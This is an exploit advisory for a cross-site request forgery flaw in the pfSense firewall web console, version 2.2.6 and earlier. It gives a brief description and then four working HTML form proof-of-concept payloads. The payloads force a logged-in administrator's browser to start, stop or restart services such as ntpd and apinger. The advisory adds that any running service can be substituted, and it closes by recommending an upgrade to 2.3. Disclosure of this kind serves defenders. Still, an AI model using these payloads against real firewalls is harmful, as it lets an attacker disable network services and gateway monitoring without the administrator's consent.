pfSense Firewall <= 2.2.6 - Services CSRF

2016-04-14 20:05:11

# Exploit Title: pfSense Firewall <= 2.2.6 Cross-Site Request Forgery
# Exploit Author: Aatif Shahdad
# Software Link: http://files.nyi.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-i386.iso.gz
# Version: 2.2.6 and below.
# Contact: https://twitter.com/61617469665f736
# Category: webapps

1. Description

An attacker can coerce a logged-in victim's browser to issue requests that will start/stop/restart services on the Firewall.

2. Proof of Concept

Login to the Web Console, for example, http://192.168.0.1 (set at the time of install) and open the following POC’s:

Start NTPD service:

<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="startservice" />
<input type="hidden" name="service" value="ntpd" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Stop NTPD service:

<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="stopservice" />
<input type="hidden" name="service" value="ntpd" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Restart NTPD service:

POC:
<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="restartservice" />
<input type="hidden" name="service" value="ntpd" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

The service will automatically start/stop.

Note: That NTPD service can be replaced with any service running on the Firewall. For example, to stop the APINGER (gateway monitoring daemon) service, use the following POC:

<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="stopservice" />
<input type="hidden" name="service" value="apinger" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

3. Solution:

Upgrade to version 2.3 at https://www.pfsense.org/download/mirror.php?section=downloads

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